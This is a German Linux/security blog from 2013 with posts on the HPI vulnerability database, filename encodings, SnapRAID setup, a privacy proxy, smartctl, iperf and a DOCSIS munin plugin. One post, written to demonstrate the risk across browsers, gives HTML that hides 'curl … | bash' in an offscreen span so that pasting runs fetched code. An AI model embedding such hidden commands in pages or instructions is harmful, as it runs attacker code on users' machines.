2013
06.14

Bildschirmfoto - 09.06.2013 - 13:21:16

Wer regelmäßig nach Schwachstellen recherchieren muss, braucht eine schnelle, umfassende und relevante Suchmaschine um schnell im Rahmen eines Penetrationstests bekannte Schwachstellen finden zu können. Bisher gab es ein großes Angebot an mehr oder weniger vernetzten Datenbanken wie die OSVDB oder die NVD-Datenbank des NIST. Darüber hinaus gibt es die Exploit-Database von Offensive Security, die sich durch direkt verlinkte Exploits zu den Schwachstellen abhebt.

Das Hasso-Plattner-Institut hat die Vulnerability Database VDB veröffentlicht, die viele Datenbanken zusammenfassen soll. Die Nutzung ist nach einer Registrierung ohne Realdaten kostenlos.

Wie hilfreich ist die Datenbank für Penetrationstester?

Die HPI-VDB hat nicht den Anspruch die Exploit-DB zu ersetzen, direkte Links zu den zugehörigen Exploits gibt es nicht. Da es sich um eine reine Schwachstellen-Datenbank handelt, muss sich die VDB aber auch nicht mit Exploit-Datenbanken messen. Bleibt die Suchfunktion, um im Rahmen der Informationsbeschaffung erkannte Programme und Versionsnummern mit Schwachstellen zu korrelieren.

Und genau dort bietet die VDB bereits einen sehr praktischen Vorteil. Eine funktionierende Freitext-Suche. Und schnell ist die Suche, was rein subjektiv betrachtet bei anderen Datenbanken zu Stoßzeiten nicht immer der Fall ist.

Darüber hinaus bietet die VDB Vor- und Nachbedingungen in einem XML-Format, die maschinell ausgewertet werden können. Zugang zu einer API ist auf Anfrage per E-Mail laut FAQ möglich. Folgend zwei Screenshots der Datenbank (der zweite ist gekürzt).

Bildschirmfoto - 14.06.2013 - 13:41:04

Bildschirmfoto - 14.06.2013 - 13:42:38

Habt ihr die VDB schon ausprobiert? Was haltet ihr von dem Projekt?

2013
05.30

Für bestimmte Programme ist es notwendig, UTF8 als Locale zur Zeichenkodierung im System einzusetzen, um Umlaute korrekt darzustellen. Eines davon ist Sickbeard. Wie aber findet man die aktuell verwendete Locale heraus? Ein kurzes Pythonskript hilft.

#!/usr/bin/python
import chardet
import os

for n in os.listdir('.'):
    print '%s => %s (%s)' % (n, chardet.detect(n)['encoding'], chardet.detect(n)['confidence'])

Eine Ausgabe sieht wie folgt aus. Dabei gibt der Wert in Klammern die Wahrscheinlichkeit des angegebenen Zeichensatzes an.

secops_wascii_asd.odt => ascii (1.0)
client_übergabe.odt => EUC-JP (0.99)
pg_seminar1_präsentation.odp => EUC-KR (0.99)

Um alle Dateinamen in einem Verzeichnis einheitlich in einen Zeichensatz zu konvertieren, bietet sich das Programm convmv an, das wie folgt installiert werden kann.

apt-get install convmv

Im ersten Schritt wird convmv im Simulationsmodus aufgerufen, um die neuen Dateinamen prüfen zu können. Sind die neuen Dateinamen in Ordnung, können sie übernommen werden.

convmv -f iso-8859-2 -t utf8 ./*.txt
convmv -f iso-8859-2 -t utf8 ./*.txt --notest

Nach Abschluss der Konvertierung bleibt die Umstellung des voreingestellten Zeichensatzes des Systems.

dpkg-reconfigure locales

Dort wird de_DE@UTF8 ausgewählt.

2013
04.29

index
SnapRAID ist ein nicht standardisiertes RAID-Verfahren. Wie der Name andeutet, handelt es sich um ein Snapshot-RAID, ähnlich zu FlexRAID.

Der Autor charakterisiert es im Vergleich zu herkömmlichen RAID-Produkten dadurch, dass die Paritätsdaten nicht in Echtzeit aktualisiert werden. Dadurch ergeben sich besonders für Anwendungen die nicht unter Dauerlast stehen interessante Möglichkeiten.

Praktisch funktioniert SnapRAID wie ein RAID4 mit separater Paritätsdaten-Festplatte, deren Inhalt nur bei Bedarf aktualisiert wird. Dadurch ist SnapRAID zwischen herkömmlichen RAID-Systemen und Backups einzuordnen. Angesprochen werden SnapRAID-Volumes ähnliche wie JBOD-Konfigurationen, also jede Festplatte einzeln.

Im Unterschied zur kommerziellen Lösung FlexRAID bietet SnapRAID nur die Snapshot-Funktion. Es gibt seit Version 3.0 zwar eine Pooling-Funktion, um die einzelnen Festplatten als ein großes Volume ins Betriebssystem abzubilden, diese ist aber noch nicht ausgereift und verwendet symbolische Links. Auch Monitoring-Funktionen oder die Aufgabenplanung für die Erstellung von Snapshots oder eine grafische Oberfläche sucht man vergeblich. Diese Einfachheit ist sehr lobenswert und entspricht der UNIX-Philosophie.

Eine Konsequenz daraus ist, dass zwar keine Steigerung des Maximaldurchsatzes durch Lesen von mehreren Festplatten erreicht wird, dafür aber auch immer nur die Festplatten laufen müssen, von denen aktiv gelesen wird. In einem Fileserver mit mehreren dutzend Festplatten spart diese Eigenschaft eine Menge Strom.

In der Praxis werden alle Festplatten einzeln mit einem Dateisystem formatiert und eingebunden.

Diese Eigenschaft hilft auch beim Ausfall mehrerer Festplatten. SnapRAID kann sowohl mit einer als auch mit zwei Fesplatten für Paritätsdaten betrieben werden. Je nachdem dürfen dann eine oder zwei Festplatten ausfallen. Ein Vorteil der einzelnen Formatierung gegenüber herkömmlichen RAID-Verbünden ist, dass auch bei Ausfall mehrerer Festplatten die Daten von den intakten Festplatten weiterhin gelesen werden können.

Ein ausführlicher Vergleich verschiedener RAID-Systeme sowie den beliebten Volume-Managern ZFS und BTRFS bietet der Autor hier an. Fragen zu speziellen Funktionen von SnapRAID werden hier beantwortet.

Installation

Leider stehen noch keine Debian-Pakete für SnapRAID zur Verfügung, sodass das Programm per Hand kompiliert werden muss. Das geht mit dem Werkzeug checkinstall, dass ein rudimentäres Debian-Paket erstellt, leicht von der Hand.

apt-get install build-essential checkinstall
cd /usr/local/src/
wget -O snapraid.tar.gz http://sourceforge.net/projects/snapraid/files/snapraid-3.0.tar.gz/download
tar xvzf snapraid.tar.gz
cd snapraid-3.0/
./configure && make && make check

Nach Ausführung der Tests sollte folgende Bestätigung für das erfolgreiche Durchlaufen erscheinen.

No error
echo Success!
Success!
make[1]: Leaving directory `/usr/local/src/snapraid-3.0'

Daraufhin kann SnapRAID und die SnapRAID-Konfiguration installiert werden.

checkinstall make install
cp snapraid.conf.example /etc/snapraid.conf

Konfiguration

Die Einrichtung eines SnapRAID-Volumes ist denkbar einfach über die Konfigurationsdatei /etc/snapraid.conf zu steuern. Hier ein Beispiel als Vorlage.

# Paritaetsdaten-Datei auf eigener Festplatte
parity /storage/b2c07a05-a3e7-44ca-bc7a-1d29a0a2258a_parity/parity

# Hash-Indizes-Datei auf jeder nicht-Paritaetsdaten Festplatten
content /storage/03e2a8fb-be5d-4791-a1d0-e42597771e57/.content
content /storage/3c2b7a4d-aad1-4731-afac-51c163349726/.content
content /storage/82191233-42e8-4cca-8f6d-ba9e0376e5e0/.content
content /storage/a3a5b302-9c69-465d-a910-839abd3fc553/.content

# Angabe der Namen und Pfade zu den Daten-Festplatten
disk 03e2a8fb-be5d-4791-a1d0-e42597771e57 /storage/03e2a8fb-be5d-4791-a1d0-e42597771e57/
disk 3c2b7a4d-aad1-4731-afac-51c163349726 /storage/3c2b7a4d-aad1-4731-afac-51c163349726/
disk 82191233-42e8-4cca-8f6d-ba9e0376e5e0 /storage/82191233-42e8-4cca-8f6d-ba9e0376e5e0/
disk a3a5b302-9c69-465d-a910-839abd3fc553 /storage/a3a5b302-9c69-465d-a910-839abd3fc553/

exclude *.bak
exclude *.unrecoverable
exclude /tmp/
exclude /lost+found/

block_size 256
2013
04.25

Ein auf Heise vorgestellter Copy&Paste Trick hat meine Aufmerksamkeit erregt. Dort wird beschrieben, wie durch Setzen eines <span>-Elements, dass in einen nicht sichtbaren Bereich verschoben wird, ahnungslosen Linux-/BSD-Nutzern Code untergeschoben werden kann. Der Trick funktioniert bei erschreckend vielen Browsern, wie ein kurzer Test zeigte.

Die getesteten Browser waren:

  • Firefox 20
  • Firefox 23.0a1
  • Opera 12.02
  • Opera 12.15
  • Chromium 25.0.1364.160

Jeweils mit xterm und dem XFCE Terminal in Version 0.4.8 unter verschiedenen Ubuntu-Versionen.

Entscheidend für die Effektivität des Tricks ist, dass die kopierten Befehle beim Einfügen unmittelbar ausgeführt werden. Dafür muss nur sichergestellt werden, dass ein Newline-Zeichen mit in der Zwischenablage landet. Ergänzt man den Tip von Heise durch ein solches Zeichen und fügt dem untergeschobenen Befehl ein clear an, wird der Tip direkt doppelt nützlich.

Beispiele

Hier zwei Varianten, die das gewünschte Ergebnis liefern.

<html>
<!-- notice the newline after the hidden command inserted using a html <br>  -->
<p><pre>echo<span style="position: absolute; left: -1000px; top: -1000px"> ""; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo <br></span> Hallo Welt!<br></pre></p>
</html>
<html>
<!-- notice the newline after the hidden command inserted using a raw newline -->
<p><pre>echo<span style="position: absolute; left: -1000px; top: -1000px"> ""; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo
</span> Hallo Welt!<br></pre></p>
</html>

Ergebnis

Bei Auswahl des scheinbar harmlosen Textes aus dem ersten Bild und Übertragung in einen Terminal-Emulator mittels mittlerer Maustaste oder STRG-V werden direkt Befehle ausgeführt.

Bildschirmfoto - 25.04.2013 - 15:23:13 Bildschirmfoto - 25.04.2013 - 15:25:00


UPDATE: Danke für die Unterstützung durch weitere Tests und die beiden Hinweise auf meine Fehler in der ersten Version dieses Posts. Als die Aufmerksamkeit zu Ende ging, war noch soviel Tag übrig.

2013
04.22


Normalerweise berichte ich nicht über die Dienste, die ich im Rahmen meiner Arbeit bei der Informatik-Rechner-Betriebsgruppe an der Fakultät für Informatik betreue. Das liegt daran, dass ich annehme, dass jeder Leser meines Blogs mit der Administration von Server-Diensten im produktiven Betrieb vertraut ist. Nichts spannendes, also.

Seit einigen Wochen läuft aber ein Privatsphären-Proxy (ugs. “Elite Proxy”) statt des bisher betriebenen Proxys im Rechnerraum der IRB.


proxy.cs.tu-dortmund.de

(Aus dem Fakultäts-Netzwerk erreichbar)

Elite Proxy
Ein Elite Proxy ist ein Proxy-Server, der sich nicht als Proxy zu erkennen gibt und für Webserver nur mit der eigenen IP-Adresse und nicht mit der IP-Adresse des Proxy-Nutzers in Erscheinung tritt.
(Quellen hier, hier und hier.)

Die Architektur unseres Proxys an der IRB geht aber einen Schritt weiter, als einfache Elite Proxys und gesteht den Nutzern weitere Anonymität zu. Dafür betreiben wir eine Proxykaskade aus Squid und Privoxy, die im Vergleich zu einem herkömmlichen Proxy-Server wie folgt aussieht.

eliteprox_irb

Deutlich zu erkennen sind die Unterschiede im Speicher-Subsystem und dem vorgeschalteten Privoxy. Die speziellen technischen Unterschiede sind in meinem Linux Magazin Artikel (lokale Kopie, nur Fakultäts-Netzwerk) beschrieben.

Squid

Der Squid-Proxy verhält sich in Voreinstellung konform zum Pseudostandard und sendet bei jeder Anfrage einen X-Forwarded-For Header, der die IP-Adresse des anfragenden Clients enhtält. Hierdurch wird die Anonymität aufgelöst. Darum wird in unserer Proxykaskade dieser Header gelöscht, sowie weitere Header die Informationen über den anfragenden Nutzer oder die anfragende IP enthalten entweder gesperrt oder verfremdet. Squid bietet für den Zweck nur die Möglichkeit, einen Header zu sperren, oder weiterzuleiten.

Privoxy

Um Privatsphäre ohne Einbuße von Komfort bereitstellen zu können, ist Privoxy notwendig. Der Header HTTP_REFER sendet dem Webserver in einer Anfrage die vorher aufgerufene Webseite.

Wechselt der Nutzer aber von einem Webshop-System auf die Suchmaschine Google, ist die Suchmaschine dank HTTP_REFERER in der Lage, die vorher aufgerufene URL zu speichern.

Die Auswertung des Referers wird von einigen Webseiten benötigt, um korrekt zu funktionieren, darum ist eine Sperrung nicht möglich. Dazu gehören Onlinebanking- und Webshop-Systeme. Da der Referer zum Ausspähen des Nutzers mißbraucht werden kann, wenn die Domain gewechselt wird, sperrt Privoxy nur in diesem Fall den Referer und setzt ihn auf die Domain der aufgerufenen Webseite.

Speicher-Subsystem

Der Squid-Proxy speichert in Voreinstellung umfangreiche Logdaten zur Anfrage, wie zum Beispiel die komplette URL mit etwaigen GET-Parametern, sowie die anfragende IP-Adresse und den verwendeten Browser. Darüber hinaus wird über eine zweite Logdatei aufgezeichnet, welches Objekt im Cache von welcher IP-Adresse zuerst angefragt wurde. So ist mit der Voreinstellung eine lückenlose Überwachung aller Nutzer möglich. Auch dieses Verhalten ist für einen Privatsphären-Proxy nicht wünschenswert.

Darum sind Logfiles komplett deaktiviert. Es werden nur Key Performance Indicators in einer Datenstruktur im Arbeitsspeicher vorgehalten, die das verursachte Datenvolumen den IP-Adressen zuordnen.

Der Cache ist darüber hinaus mit einem Zufallschlüssel in AES verschlüsselt, der bei jedem Neustart neu erzeugt wird, um auch eine statistische Zuordnung von verursachtem Datenvolumen zu Objekten (und damit aufgerufenen Webseiten) im Cache zu verhindern.

Um trotzdem im Falle eines Missbrauchs handlungsfähig zu bleiben, kann der komplette Datenverkehr eines Nutzers bei begründetem Verdacht protokolliert werden, ohne andere Nutzer zu beeinträchtigen.

2013
04.13

Kurzer Hinweis für das Auslesen der S.M.A.R.T Werte der per USB 3.0/2.0 anbindbaren Toshiba STOR.E ALU Festplatten-Serie. Es erscheint unter Linux bei Einsatz der smartmontool die Fehlermeldung Unknown USB bridge [0x0930:0x0b1a (0x001)].

Durch Wahl des Gerätetype (in diesem Fall sat) lässt sich das Gerät ansprechen und wie gewohnt auslesen.

smartctl --all -d sat /dev/sda
2013
03.25

Um die Geschwindigkeit der Anbindung zwischen zwei Punkten im Internet zu messen wird der Benchmark iperf eingesetzt. Leider beinhaltet dieser in der Standardversion keine Möglichkeit als Client auch Daten zu empfangen und so nicht nur den Upload vom Client zum Server, sondern auch den Download vom Server zum Client zu messen. Matt Tierney stellt in seinem GitHub-Repository eine mit dem Patch von Prof. Lucas Nussbaum (iperf reverse mode) versehene iperf Version zur Verfügung, die dieses Problem löst.

Diese gepatchtet Version ist sehr empfehlenswert. Zusammengefasst kann damit in beide Richtungen der Maximaldurchsatz gemessen werden, ohne im Router zuhause Ports öffnen zu müssen. Das neue --reverse Flag macht es möglich.

 

2013
03.17

Als Anfang Dezember 2012 meine Kabel-Internet Anbindung in Kernzeiten unter die vom Provider nach DIN Norm 66274-2 versprochenen 75MBit/sec sank wollte ich wissen, warum. Da der Provider keine genaueren technischen Details zur Funktion des eingesetzten DOCSIS 3.0 System bietet, habe ich mich selbst informiert und im Anschluss ein munin Plugins entwickelt. Das Plugin erzeugt die folgenden Graphen und bietet die folgenden Detailinformationen:

sundtek_docsis_bandwidth-day_small

  • Auslastung jedes DVB-C Kanals im Downstream
  • Gesamtauslastung
  • Jeweils (inoffiziell erfragte) Grenzwerte für Warnungen und kritische Zustände
    (Sodass ihr direkt ablesen könnt, ob es sich lohnt eine Störung zu melden)

sundtek_docsis_bandwidth-pinpoint=1363422618,1363530618Bildschirmfoto - 17.03.2013 - 15:32:51

DOCSIS Allgemein

Um die Graphen lesen zu können ist Hintergrundwissen zu DVB-C und DOCSIS notwendig. DOCSIS bietet ein geteiltes Medium, dass auf Kanälen basiert, die unter den Kunden aufgeteilt werden. Es stehen also für mehrere hundert Benutzer insgesamt 380 Mbit/sec im Downstream zur Verfügung. Bei Unitymedia werden die folgenden acht DVB-C Kanäle benutzt.

  • 542MHz
  • 578MHz
  • 586MHz
  • 594MHz
  • 602MHz
  • 618MHz
  • 626MHz
  • 634MHz

Jeder dieser Kanäle hat bei EuroDOCSIS 3.0 eine Brutto-Datenrate von 55MBit/sec (siehe Folie 4)  von der minus Tara ungefähr 47,5MBit/sec Netto-Datenrate für die TCP/IP-Nutzlast übrig bleibt. Das bedeutet auf allen acht Kanälen gemeinsam stehen etwa 380Mbit/sec zur Verfügung, was auch den Ergebnissen von Unitymedia in Feldtests entspricht. Um die Auslastung dieser acht Kanäle zu messen bedarf es nur eines verhältnismäßig preisgünstigen DVB-C USB-Sticks.

Hardware

Nach Tests zur Messung der Segmentauslastung durch Florian Strankowski eignet sich der MediaTV Digital Home DVB-CT Stick der Firma Sundtek besonders gut. Treiber für Linux die auf Anhieb unter Debian funktionieren lassen sich aus dem Support-Forum des Herstellers beziehen. Darüber hinaus ist für mein Plugin nur das Programm dvbsnoop erforderlich.

apt-get install dvbsnoop

Download

Das Plugin kann via GitHub aus dem Repository munin-sundtek_docsis bezogen werden.